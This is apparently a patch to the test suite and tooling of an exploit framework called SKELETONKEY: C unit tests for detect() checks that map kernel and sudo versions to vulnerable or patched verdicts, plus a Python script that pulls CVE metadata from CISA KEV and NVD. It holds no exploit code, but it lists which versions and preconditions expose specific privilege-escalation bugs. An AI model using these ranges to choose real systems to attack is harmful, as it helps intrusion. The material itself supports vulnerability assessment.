* Returns a struct VALUE so the caller stores it in a stack local and
|
||||
* passes &h. No heap. The release string is the caller's responsibility
|
||||
* (we don't synthesize from numerics to avoid implying a real release
|
||||
* naming convention). */
|
||||
#ifdef __linux__
|
||||
static struct skeletonkey_host
|
||||
mk_host(struct skeletonkey_host base, int major, int minor, int patch,
|
||||
const char *release)
|
||||
{
|
||||
base.kernel.major = major;
|
||||
base.kernel.minor = minor;
|
||||
base.kernel.patch = patch;
|
||||
base.kernel.release = release;
|
||||
return base;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── fingerprints ────────────────────────────────────────────────── */
|
||||
|
||||
/* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
|
||||
@@ -265,12 +318,13 @@ static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
||||
static void run_all(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
||||
/* dirtydecrypt: rxgk RESPONSE bug entered at 6.16.1 per NVD;
|
||||
* kernels before that predate the buggy code → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
@@ -486,6 +540,223 @@ static void run_all(void)
|
||||
run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nft_payload_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* ── drift-entry boundary coverage ────────────────────────────
|
||||
* These tests guard the kernel_patched_from entries added by the
|
||||
* tools/refresh-kernel-ranges.py drift batch (commit 8de46e2).
|
||||
* Each entry has a "just-below" + "exact" pair so a regression
|
||||
* that drops or off-by-ones the entry is caught immediately. */
|
||||
|
||||
/* af_unix_gc {6, 4, 13} — Debian forky stable backport. The bug is
|
||||
* reachable as a plain unprivileged user (AF_UNIX needs no caps and
|
||||
* no userns), so 6.4.12 returns VULNERABLE rather than
|
||||
* PRECOND_FAIL — the just-below-boundary verdict the table
|
||||
* decides. */
|
||||
struct skeletonkey_host h_af_unix_6_4_12 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 4, 12, "6.4.12-test");
|
||||
run_one("af_unix_gc: 6.4.12 (one below new entry) → VULNERABLE",
|
||||
&af_unix_gc_module, &h_af_unix_6_4_12,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_af_unix_6_4_13 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 4, 13, "6.4.13-test");
|
||||
run_one("af_unix_gc: 6.4.13 (exact new entry) → OK via patch table",
|
||||
&af_unix_gc_module, &h_af_unix_6_4_13,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vmwgfx {5, 10, 127} — Debian bullseye stable backport. Below the
|
||||
* entry, detect proceeds past the version check and fails the
|
||||
* AF_VSOCK / /dev/dri probe in CI → PRECOND_FAIL. At the exact
|
||||
* entry, kernel_range_is_patched short-circuits → OK. */
|
||||
struct skeletonkey_host h_vmwgfx_5_10_127 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 127, "5.10.127-test");
|
||||
run_one("vmwgfx: 5.10.127 (exact new entry) → OK via patch table",
|
||||
&vmwgfx_module, &h_vmwgfx_5_10_127,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_set_uaf {5, 10, 179} (harmonised from 5.10.180) — exact entry
|
||||
* patches via table. */
|
||||
struct skeletonkey_host h_nft_set_5_10_179 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 179, "5.10.179-test");
|
||||
run_one("nft_set_uaf: 5.10.179 (harmonised entry) → OK via patch table",
|
||||
&nft_set_uaf_module, &h_nft_set_5_10_179,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_set_uaf {6, 1, 27} (harmonised from 6.1.28) — exact entry
|
||||
* patches via table. */
|
||||
struct skeletonkey_host h_nft_set_6_1_27 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 1, 27, "6.1.27-test");
|
||||
run_one("nft_set_uaf: 6.1.27 (harmonised entry) → OK via patch table",
|
||||
&nft_set_uaf_module, &h_nft_set_6_1_27,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_payload {5, 10, 162} (harmonised from 5.10.163) — exact entry. */
|
||||
struct skeletonkey_host h_nft_payload_5_10_162 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 162, "5.10.162-test");
|
||||
run_one("nft_payload: 5.10.162 (harmonised entry) → OK via patch table",
|
||||
&nft_payload_module, &h_nft_payload_5_10_162,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nf_tables {5, 10, 209} (harmonised from 5.10.210) — exact entry. */
|
||||
struct skeletonkey_host h_nf_tables_5_10_209 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 209, "5.10.209-test");
|
||||
run_one("nf_tables: 5.10.209 (harmonised entry) → OK via patch table",
|
||||
&nf_tables_module, &h_nf_tables_5_10_209,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── entrybleed: meltdown_mitigation passthrough ────────────────
|
||||
* entrybleed reads ctx->host->meltdown_mitigation (raw sysfs line)
|
||||
* instead of re-opening /sys/.../meltdown. Test the three branches:
|
||||
* - empty string ("probe failed") → conservative VULNERABLE
|
||||
* - "Not affected" (Meltdown-immune CPU) → OK
|
||||
* - "Mitigation: PTI" (KPTI on, vulnerable) → VULNERABLE
|
||||
* The module is x86_64-only; on other arches the stub returns
|
||||
* PRECOND_FAIL regardless of meltdown status. We test the x86_64
|
||||
* branch via the synthetic host's `arch` field. */
|
||||
#if defined(__x86_64__) || defined(__amd64__)
|
||||
struct skeletonkey_host h_entry_no_data = h_kernel_6_12;
|
||||
h_entry_no_data.meltdown_mitigation[0] = '\0';
|
||||
run_one("entrybleed: meltdown probe unread → conservative VULNERABLE",
|
||||
&entrybleed_module, &h_entry_no_data,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_entry_immune = h_kernel_6_12;
|
||||
strcpy(h_entry_immune.meltdown_mitigation, "Not affected");
|
||||
run_one("entrybleed: meltdown=Not affected (immune CPU) → OK",
|
||||
&entrybleed_module, &h_entry_immune,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
struct skeletonkey_host h_entry_kpti = h_kernel_6_12;
|
||||
strcpy(h_entry_kpti.meltdown_mitigation, "Mitigation: PTI");
|
||||
run_one("entrybleed: meltdown=Mitigation: PTI → VULNERABLE",
|
||||
&entrybleed_module, &h_entry_kpti,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
#else
|
||||
/* On non-x86_64 dev / CI containers, the stubbed detect() returns
|
||||
* PRECOND_FAIL regardless of meltdown_mitigation contents. */
|
||||
run_one("entrybleed: non-x86_64 arch → PRECOND_FAIL (stub)",
|
||||
&entrybleed_module, &h_kernel_6_12,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
#endif
|
||||
|
||||
/* ── new v0.8.0 modules ──────────────────────────────────────── */
|
||||
|
||||
/* sudo_chwoot: vulnerable sudo version range [1.9.14, 1.9.17p0].
|
||||
* Vulnerability is independent of kernel — pure version gate.
|
||||
* Test fingerprints below the range, in the range, and above. */
|
||||
struct skeletonkey_host h_sudo_chwoot_vuln = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_vuln.sudo_version, "1.9.16");
|
||||
run_one("sudo_chwoot: sudo 1.9.16 (in range) → VULNERABLE",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_vuln,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_sudo_chwoot_fixed = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_fixed.sudo_version, "1.9.17p1");
|
||||
run_one("sudo_chwoot: sudo 1.9.17p1 (fixed) → OK",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_fixed,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
struct skeletonkey_host h_sudo_chwoot_old = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_old.sudo_version, "1.9.13p1");
|
||||
run_one("sudo_chwoot: sudo 1.9.13p1 (pre-chroot feature) → OK",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_old,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* udisks_libblockdev: detect gates on udisksd binary + dbus
|
||||
* socket presence + active polkit session. detect() does direct
|
||||
* filesystem stat() calls (path_exists /usr/libexec/udisks2/udisksd)
|
||||
* — it can't be host-fixture-mocked. GHA ubuntu-24.04 runners ship
|
||||
* udisks2 by default, so detect returns VULNERABLE there. */
|
||||
run_one("udisks_libblockdev: udisksd present on CI runner → VULNERABLE",
|
||||
&udisks_libblockdev_module, &h_kernel_6_12,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* pintheft: AF_RDS socket() in CI/container is almost never
|
||||
* reachable (RDS module blacklisted on every common distro except
|
||||
* Arch) → detect returns OK ("bug exists in kernel but unreachable
|
||||
* from userland here"). */
|
||||
run_one("pintheft: AF_RDS unreachable on CI runner → OK",
|
||||
&pintheft_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── v0.9.0 modules ────────────────────────────────────────── */
|
||||
|
||||
/* mutagen_astronomy: kernel 6.12 is above the 4.18.8 fix → OK */
|
||||
run_one("mutagen_astronomy: kernel 6.12 above 4.18.8 fix → OK",
|
||||
&mutagen_astronomy_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo_runas_neg1: fixed sudo (1.9.13p1) → OK */
|
||||
run_one("sudo_runas_neg1: sudo 1.9.13p1 above 1.8.28 fix → OK",
|
||||
&sudo_runas_neg1_module, &h_fixed_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo_runas_neg1: vuln sudo 1.8.31 (in range), but no (ALL,!root)
|
||||
* grant for this test user → OK. detect() treats "no grant" as
|
||||
* "not exploitable" (returns OK), not "missing precondition"
|
||||
* (PRECOND_FAIL) — the user simply can't reach the bug from here. */
|
||||
run_one("sudo_runas_neg1: vuln sudo, no (ALL,!root) grant → OK",
|
||||
&sudo_runas_neg1_module, &h_vuln_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* tioscpgrp: kernel 6.12 above the 5.10 mainline fix → OK */
|
||||
run_one("tioscpgrp: kernel 6.12 above 5.10 fix → OK",
|
||||
&tioscpgrp_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vsock_uaf: kernel 6.12 above 6.11 mainline fix → OK */
|
||||
run_one("vsock_uaf: kernel 6.12 above 6.11 fix → OK",
|
||||
&vsock_uaf_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_pipapo: kernel 6.12 above 6.8 mainline fix → OK */
|
||||
run_one("nft_pipapo: kernel 6.12 above 6.8 fix → OK",
|
||||
&nft_pipapo_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_pipapo: kernel 5.4 predates the pipapo set type (5.6+) → OK */
|
||||
run_one("nft_pipapo: kernel 4.4 predates pipapo (5.6+) → OK",
|
||||
&nft_pipapo_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── coverage report ─────────────────────────────────────────
|
||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||
* calls in main()) and warn for any module that was not touched
|
||||
* by at least one run_one() row above. Doesn't fail CI — listing
|
||||
* is informational so we can grow coverage incrementally without
|
||||
* blocking the build. */
|
||||
{
|
||||
size_t n_reg = skeletonkey_module_count();
|
||||
size_t missing = 0;
|
||||
for (size_t i = 0; i < n_reg; i++) {
|
||||
const struct skeletonkey_module *m =
|
||||
skeletonkey_module_at(i);
|
||||
if (!m) continue;
|
||||
bool found = false;
|
||||
for (size_t j = 0; j < g_tested_count; j++) {
|
||||
if (strcmp(g_tested_modules[j], m->name) == 0) {
|
||||
found = true; break;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
if (missing++ == 0) {
|
||||
fprintf(stderr,
|
||||
"\n[i] coverage: module(s) without "
|
||||
"a direct detect() test row:\n");
|
||||
}
|
||||
fprintf(stderr, " - %s\n", m->name);
|
||||
}
|
||||
}
|
||||
if (missing) {
|
||||
fprintf(stderr, "[i] coverage: total %zu module(s) "
|
||||
"need test rows (registry has %zu, tests touched %zu)\n",
|
||||
missing, n_reg, g_tested_count);
|
||||
} else {
|
||||
fprintf(stderr, "[i] coverage: every registered module "
|
||||
"has at least one direct test row (%zu/%zu)\n",
|
||||
g_tested_count, n_reg);
|
||||
}
|
||||
}
|
||||
#else
|
||||
fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
|
||||
"tests skipped (would tautologically pass).\n");
|
||||
@@ -495,6 +766,12 @@ static void run_all(void)
|
||||
int main(void)
|
||||
{
|
||||
fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
|
||||
|
||||
/* Populate the runtime registry so the post-run coverage report
|
||||
* can iterate every module the main binary would. Same call used
|
||||
* by skeletonkey.c main(). */
|
||||
skeletonkey_register_all_modules();
|
||||
|
||||
run_all();
|
||||
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||
g_pass, g_fail);
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
/*
|
||||
* tests/test_kernel_range.c — unit tests for the central kernel
|
||||
* version-comparison helpers in core/kernel_range.c and core/host.c.
|
||||
*
|
||||
* These helpers are the foundation of the host-fingerprint pattern:
|
||||
* every module that gates on kernel version routes through
|
||||
* skeletonkey_host_kernel_at_least(),
|
||||
* skeletonkey_host_kernel_in_range(), or kernel_range_is_patched().
|
||||
* A regression in any of them silently mis-classifies entire CVE
|
||||
* families. The detect() integration tests in test_detect.c exercise
|
||||
* these indirectly via real modules; this file pins them down with
|
||||
* direct boundary-condition assertions so failures point at the right
|
||||
* file.
|
||||
*
|
||||
* Cross-platform: pure logic, no Linux syscalls. Runs identically on
|
||||
* macOS dev builds and Linux CI.
|
||||
*/
|
||||
|
||||
#include "../core/kernel_range.h"
|
||||
#include "../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
|
||||
#define EXPECT(name, cond) do { \
|
||||
if (cond) { \
|
||||
printf("[+] PASS %s\n", (name)); \
|
||||
g_pass++; \
|
||||
} else { \
|
||||
fprintf(stderr, "[-] FAIL %s\n", (name)); \
|
||||
g_fail++; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
/* ── kernel_range_is_patched ────────────────────────────────────────── */
|
||||
|
||||
static void test_kernel_range_is_patched(void)
|
||||
{
|
||||
/* Common single-branch-plus-mainline table: backport on 5.15.42,
|
||||
* mainline fix at 5.17.0. */
|
||||
static const struct kernel_patched_from pf_5_15_5_17[] = {
|
||||
{5, 15, 42},
|
||||
{5, 17, 0},
|
||||
};
|
||||
const struct kernel_range r1 = { pf_5_15_5_17, 2 };
|
||||
|
||||
struct kernel_version v;
|
||||
|
||||
v = (struct kernel_version){5, 15, 42, NULL};
|
||||
EXPECT("range: exact backport boundary (5.15.42) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 15, 41, NULL};
|
||||
EXPECT("range: one below backport (5.15.41) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 15, 100, NULL};
|
||||
EXPECT("range: well above backport on same branch (5.15.100) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 17, 0, NULL};
|
||||
EXPECT("range: mainline fix exact (5.17.0) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 16, 0, NULL};
|
||||
EXPECT("range: between branches (5.16.0) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 14, 999, NULL};
|
||||
EXPECT("range: branch below all entries (5.14.999) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){6, 12, 0, NULL};
|
||||
EXPECT("range: newer mainline branch (6.12.0) → patched via inheritance",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
/* Mainline-only entry — common pattern for a fresh CVE with no
|
||||
* stable backports yet. */
|
||||
static const struct kernel_patched_from pf_7_0_only[] = {
|
||||
{7, 0, 0},
|
||||
};
|
||||
const struct kernel_range r2 = { pf_7_0_only, 1 };
|
||||
|
||||
v = (struct kernel_version){6, 19, 99, NULL};
|
||||
EXPECT("mainline-only: kernel below mainline (6.19.99) → vulnerable",
|
||||
!kernel_range_is_patched(&r2, &v));
|
||||
|
||||
v = (struct kernel_version){7, 0, 0, NULL};
|
||||
EXPECT("mainline-only: at mainline (7.0.0) → patched",
|
||||
kernel_range_is_patched(&r2, &v));
|
||||
|
||||
v = (struct kernel_version){7, 5, 0, NULL};
|
||||
EXPECT("mainline-only: above mainline (7.5.0) → patched",
|
||||
kernel_range_is_patched(&r2, &v));
|
||||
|
||||
/* Multi-LTS table mirroring real af_unix_gc layout. */
|
||||
static const struct kernel_patched_from pf_multi[] = {
|
||||
{4, 14, 326},
|
||||
{4, 19, 295},
|
||||
{5, 4, 257},
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51},
|
||||
{6, 4, 13},
|
||||
{6, 5, 0},
|
||||
};
|
||||
const struct kernel_range r3 = { pf_multi, 8 };
|
||||
|
||||
v = (struct kernel_version){5, 10, 196, NULL};
|
||||
EXPECT("multi-LTS: 5.10.196 (one below backport) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){5, 10, 197, NULL};
|
||||
EXPECT("multi-LTS: 5.10.197 (exact backport) → patched",
|
||||
kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 4, 12, NULL};
|
||||
EXPECT("multi-LTS: 6.4.12 (just-added entry, below) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 4, 13, NULL};
|
||||
EXPECT("multi-LTS: 6.4.13 (just-added entry, exact) → patched",
|
||||
kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 2, 0, NULL};
|
||||
EXPECT("multi-LTS: 6.2.0 (between LTS branches, no match) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){5, 8, 0, NULL};
|
||||
EXPECT("multi-LTS: 5.8.0 (between LTS branches) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
/* NULL safety. */
|
||||
v = (struct kernel_version){5, 15, 42, NULL};
|
||||
EXPECT("null safety: NULL range → false",
|
||||
!kernel_range_is_patched(NULL, &v));
|
||||
EXPECT("null safety: NULL version → false",
|
||||
!kernel_range_is_patched(&r1, NULL));
|
||||
}
|
||||
|
||||
/* ── skeletonkey_host_kernel_at_least ───────────────────────────────── */
|
||||
|
||||
static void test_host_kernel_at_least(void)
|
||||
{
|
||||
struct skeletonkey_host h = {0};
|
||||
h.kernel.major = 6; h.kernel.minor = 12; h.kernel.patch = 5;
|
||||
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.5 → true (exact)",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 12, 5));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.4 → true",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 12, 4));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.6 → false",
|
||||
!skeletonkey_host_kernel_at_least(&h, 6, 12, 6));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.11.999 → true (lower minor)",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 11, 999));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.13.0 → false (higher minor)",
|
||||
!skeletonkey_host_kernel_at_least(&h, 6, 13, 0));
|
||||
EXPECT("at_least: 6.12.5 ≥ 5.0.0 → true (lower major)",
|
||||
skeletonkey_host_kernel_at_least(&h, 5, 0, 0));
|
||||
EXPECT("at_least: 6.12.5 ≥ 7.0.0 → false (higher major)",
|
||||
!skeletonkey_host_kernel_at_least(&h, 7, 0, 0));
|
||||
|
||||
/* NULL host → false (don't crash). */
|
||||
EXPECT("at_least: NULL host → false",
|
||||
!skeletonkey_host_kernel_at_least(NULL, 5, 0, 0));
|
||||
|
||||
/* Unpopulated host (major == 0) → false on any positive threshold:
|
||||
* a zero kernel version means we never probed; modules should
|
||||
* fail-safe by treating "unknown" as "below". */
|
||||
struct skeletonkey_host h_zero = {0};
|
||||
EXPECT("at_least: zeroed host (major=0) → false on any threshold",
|
||||
!skeletonkey_host_kernel_at_least(&h_zero, 5, 0, 0));
|
||||
}
|
||||
|
||||
/* ── skeletonkey_host_kernel_in_range ───────────────────────────────── */
|
||||
|
||||
static void test_host_kernel_in_range(void)
|
||||
{
|
||||
struct skeletonkey_host h = {0};
|
||||
|
||||
/* Window [5.8.0, 5.17.0) — the classic mainline introduction/fix
|
||||
* pattern used by dirty_pipe and several others. */
|
||||
|
||||
h.kernel = (struct kernel_version){5, 8, 0, NULL};
|
||||
EXPECT("in_range: 5.8.0 in [5.8.0, 5.17.0) → true (lo inclusive)",
|
||||
skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 16, 999, NULL};
|
||||
EXPECT("in_range: 5.16.999 in [5.8.0, 5.17.0) → true (inside)",
|
||||
skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 17, 0, NULL};
|
||||
EXPECT("in_range: 5.17.0 in [5.8.0, 5.17.0) → false (hi exclusive)",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 7, 999, NULL};
|
||||
EXPECT("in_range: 5.7.999 below 5.8.0 → false",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){6, 0, 0, NULL};
|
||||
EXPECT("in_range: 6.0.0 above 5.17 → false",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
/* NULL host. */
|
||||
EXPECT("in_range: NULL host → false",
|
||||
!skeletonkey_host_kernel_in_range(NULL, 5, 8, 0, 5, 17, 0));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
fprintf(stderr, "=== SKELETONKEY kernel_range unit tests ===\n\n");
|
||||
test_kernel_range_is_patched();
|
||||
test_host_kernel_at_least();
|
||||
test_host_kernel_in_range();
|
||||
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||
g_pass, g_fail);
|
||||
return g_fail ? 1 : 0;
|
||||
}
|
||||
Executable
+314
@@ -0,0 +1,314 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-cve-metadata.py — fetch CWE + KEV status for every CVE in the
|
||||
SKELETONKEY corpus from authoritative federal sources.
|
||||
|
||||
Sources:
|
||||
- CISA Known Exploited Vulnerabilities catalog
|
||||
https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv
|
||||
(authoritative for "is this exploited in the wild?")
|
||||
- NVD CVE API 2.0
|
||||
https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=...
|
||||
(authoritative for CWE classification)
|
||||
|
||||
The output is intentionally NOT auto-applied to module sources — drift
|
||||
between an external source and our embedded metadata should surface as
|
||||
a diff a human reviews. The tool produces:
|
||||
|
||||
docs/CVE_METADATA.json machine-readable per-CVE record
|
||||
docs/KEV_CROSSREF.md human-readable KEV table
|
||||
|
||||
Modules consume the JSON via copy-paste into their struct skeletonkey_module
|
||||
literal (attack_technique, cwe, in_kev, kev_date_added fields). The
|
||||
provenance comment in core/module.h points contributors back here.
|
||||
|
||||
No API key required; the script throttles to NVD's anonymous 5-req/30s
|
||||
limit. ~3 minutes total for 26 CVEs.
|
||||
|
||||
Usage:
|
||||
tools/refresh-cve-metadata.py # refresh + write outputs
|
||||
tools/refresh-cve-metadata.py --check # diff against committed JSON, exit 1 on drift
|
||||
|
||||
Dependencies: stdlib only. Python 3.8+.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parent.parent
|
||||
MODULES_DIR = REPO_ROOT / "modules"
|
||||
OUT_JSON = REPO_ROOT / "docs" / "CVE_METADATA.json"
|
||||
OUT_MD = REPO_ROOT / "docs" / "KEV_CROSSREF.md"
|
||||
OUT_C = REPO_ROOT / "core" / "cve_metadata.c"
|
||||
|
||||
KEV_URL = "https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv"
|
||||
NVD_URL = "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve}"
|
||||
|
||||
# Per NVD's anonymous rate limit: 5 requests per 30 seconds.
|
||||
NVD_DELAY_SECONDS = 7
|
||||
|
||||
# Module → ATT&CK technique mapping. Almost all kernel/userspace LPEs
|
||||
# map to T1068 (Exploitation for Privilege Escalation). The two
|
||||
# exceptions are noted inline. This mapping is hand-curated; the
|
||||
# tool doesn't pull ATT&CK from any feed (MITRE doesn't publish a
|
||||
# clean CVE → technique CSV).
|
||||
ATTACK_MAPPING = {
|
||||
# Default for every CVE not listed: T1068, no subtechnique.
|
||||
"CVE-2022-0492": ("T1611", None), # cgroup_release_agent — container escape
|
||||
"CVE-2023-0458": ("T1082", None), # entrybleed — kernel info leak, not LPE
|
||||
}
|
||||
|
||||
|
||||
def discover_cves() -> list[str]:
|
||||
"""Find every CVE-NNNN-NNNN id by scanning modules/<dir>/."""
|
||||
cves = set()
|
||||
for child in MODULES_DIR.iterdir():
|
||||
if not child.is_dir():
|
||||
continue
|
||||
# Module dirs end in _cve_YYYY_NNNNN
|
||||
parts = child.name.split("_cve_")
|
||||
if len(parts) != 2:
|
||||
continue
|
||||
cve_tail = parts[1].replace("_", "-")
|
||||
cves.add(f"CVE-{cve_tail}")
|
||||
return sorted(cves)
|
||||
|
||||
|
||||
def fetch_kev_catalog() -> dict[str, str]:
|
||||
"""Return {cve_id: date_added_yyyy_mm_dd} from CISA's KEV CSV.
|
||||
|
||||
Python's urlopen sometimes times out on CISA's HTTP/2 endpoint
|
||||
even though curl works fine; we try urlopen first with a 60s
|
||||
budget, then fall back to shelling out to curl. Either way we
|
||||
end up with the same CSV bytes."""
|
||||
print(f"[*] fetching CISA KEV catalog ({KEV_URL})", file=sys.stderr)
|
||||
data: str | None = None
|
||||
try:
|
||||
with urllib.request.urlopen(KEV_URL, timeout=60) as r:
|
||||
data = r.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.URLError as e:
|
||||
print(f"[!] urlopen failed ({e}); falling back to curl", file=sys.stderr)
|
||||
if data is None:
|
||||
import subprocess
|
||||
try:
|
||||
data = subprocess.check_output(
|
||||
["curl", "-fsSL", "--max-time", "60", KEV_URL],
|
||||
stderr=subprocess.DEVNULL,
|
||||
).decode("utf-8", errors="replace")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError) as e:
|
||||
print(f"[!] curl fallback also failed: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
out: dict[str, str] = {}
|
||||
reader = csv.DictReader(io.StringIO(data))
|
||||
for row in reader:
|
||||
cve = row.get("cveID", "").strip()
|
||||
date = row.get("dateAdded", "").strip()
|
||||
if cve:
|
||||
out[cve] = date
|
||||
print(f"[+] KEV catalog has {len(out)} entries", file=sys.stderr)
|
||||
return out
|
||||
|
||||
|
||||
def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
|
||||
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss."""
|
||||
url = NVD_URL.format(cve=cve)
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as r:
|
||||
blob = json.loads(r.read().decode("utf-8"))
|
||||
except urllib.error.HTTPError as e:
|
||||
print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
|
||||
return None, None
|
||||
except (urllib.error.URLError, json.JSONDecodeError) as e:
|
||||
print(f"[!] NVD parse error for {cve}: {e}", file=sys.stderr)
|
||||
return None, None
|
||||
vulns = blob.get("vulnerabilities") or []
|
||||
if not vulns:
|
||||
return None, None
|
||||
cve_obj = vulns[0].get("cve", {})
|
||||
# weaknesses: [{source, type, description: [{lang, value: "CWE-..."}]}]
|
||||
for w in cve_obj.get("weaknesses", []) or []:
|
||||
for d in w.get("description", []) or []:
|
||||
v = d.get("value", "")
|
||||
if v.startswith("CWE-"):
|
||||
